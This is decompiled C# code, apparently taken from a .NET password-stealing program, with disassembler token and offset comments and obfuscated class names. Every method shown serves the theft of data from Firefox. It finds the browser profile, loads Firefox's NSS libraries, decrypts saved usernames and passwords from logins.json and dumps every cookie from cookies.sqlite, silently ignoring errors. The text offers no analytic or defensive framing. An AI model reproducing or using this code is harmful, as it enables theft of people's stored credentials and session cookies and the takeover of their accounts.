// Token: 0x06000459 RID: 1113 RVA: 0x000100F8 File Offset: 0x0000E2F8 public static List <GClass32> GetSavedPasswords() { List <GClass32> list = new List <GClass32>(); try { Firefox.InitializeDelegates(Firefox.firefoxProfilePath, Firefox.firefoxPath); Firefox.JsonFFData jsonFFData = new Firefox.JsonFFData(); using (StreamReader streamReader = new StreamReader(Firefox.firefoxLoginFile.FullName)) { string json = streamReader.ReadToEnd(); jsonFFData = GClass31.smethod_1 <Firefox.JsonFFData>(json); } foreach (Firefox.Login login in jsonFFData.logins) { string username = Firefox.Decrypt(login.encryptedUsername); string password = Firefox.Decrypt(login.encryptedPassword); Uri uri = new Uri(login.formSubmitURL); list.Add(new GClass32 { URL = uri.AbsoluteUri, Username = username, Password = password, Application = "Firefox" }); } } catch (Exception) { } return(list); }
// Token: 0x06000458 RID: 1112 RVA: 0x00010050 File Offset: 0x0000E250 static Firefox() { try { Firefox.firefoxPath = Firefox.GetFirefoxInstallPath(); if (Firefox.firefoxPath == null) { throw new NullReferenceException("Firefox is not installed, or the install path could not be located"); } Firefox.firefoxProfilePath = Firefox.GetProfilePath(); if (Firefox.firefoxProfilePath == null) { throw new NullReferenceException("Firefox does not have any profiles, has it ever been launched?"); } Firefox.firefoxLoginFile = Firefox.GetFile(Firefox.firefoxProfilePath, "logins.json"); if (Firefox.firefoxLoginFile == null) { throw new NullReferenceException("Firefox does not have any logins.json file"); } Firefox.firefoxCookieFile = Firefox.GetFile(Firefox.firefoxProfilePath, "cookies.sqlite"); if (Firefox.firefoxCookieFile == null) { throw new NullReferenceException("Firefox does not have any cookie file"); } } catch (Exception) { } }
// Token: 0x06000466 RID: 1126 RVA: 0x000107AC File Offset: 0x0000E9AC private static string Decrypt(string cypherText) { StringBuilder stringBuilder = new StringBuilder(cypherText); int value = Firefox.NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, stringBuilder, stringBuilder.Length); Firefox.TSECItem tsecitem = default(Firefox.TSECItem); Firefox.TSECItem tsecitem2 = (Firefox.TSECItem)Marshal.PtrToStructure(new IntPtr(value), typeof(Firefox.TSECItem)); if (Firefox.PK11SDR_Decrypt(ref tsecitem2, ref tsecitem, 0) == 0 && tsecitem.SECItemLen != 0) { byte[] array = new byte[tsecitem.SECItemLen]; Marshal.Copy(new IntPtr(tsecitem.SECItemData), array, 0, tsecitem.SECItemLen); return(Encoding.UTF8.GetString(array)); } return(null); }
// Token: 0x0600045A RID: 1114 RVA: 0x00010210 File Offset: 0x0000E410 public static List <FirefoxCookie> GetSavedCookies() { List <FirefoxCookie> list = new List <FirefoxCookie>(); GClass33 gclass = new GClass33(Firefox.firefoxCookieFile.FullName); if (!gclass.method_9("moz_cookies")) { throw new Exception("Could not read cookie table"); } int num = gclass.method_2(); for (int i = 0; i < num; i++) { try { string host = gclass.method_5(i, "host"); string name = gclass.method_5(i, "name"); string value = gclass.method_5(i, "value"); string path = gclass.method_5(i, "path"); bool secure = !(gclass.method_5(i, "isSecure") == "0"); bool httpOnly = !(gclass.method_5(i, "isSecure") == "0"); long num2 = long.Parse(gclass.method_5(i, "expiry")); long num3 = Firefox.ToUnixTime(DateTime.Now); DateTime expiresUTC = Firefox.FromUnixTime(num2); bool expired = num3 > num2; list.Add(new FirefoxCookie { Host = host, ExpiresUTC = expiresUTC, Expired = expired, Name = name, Value = value, Path = path, Secure = secure, HttpOnly = httpOnly }); } catch (Exception) { return(list); } } return(list); }
// Token: 0x0600045B RID: 1115 RVA: 0x0001037C File Offset: 0x0000E57C private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath) { if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major < new Version("35.0.0").Major) { return; } GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll"); GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll"); GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll"); GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll"); GClass26.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll"); Firefox.nssModule = GClass26.LoadLibrary(firefoxPath.FullName + "\\nss3.dll"); IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "NSS_Init"); Firefox.NSS_InitPtr nss_InitPtr = (Firefox.NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.NSS_InitPtr)); nss_InitPtr(firefoxProfilePath.FullName); long slot = Firefox.PK11_GetInternalKeySlot(); Firefox.PK11_Authenticate(slot, true, 0L); }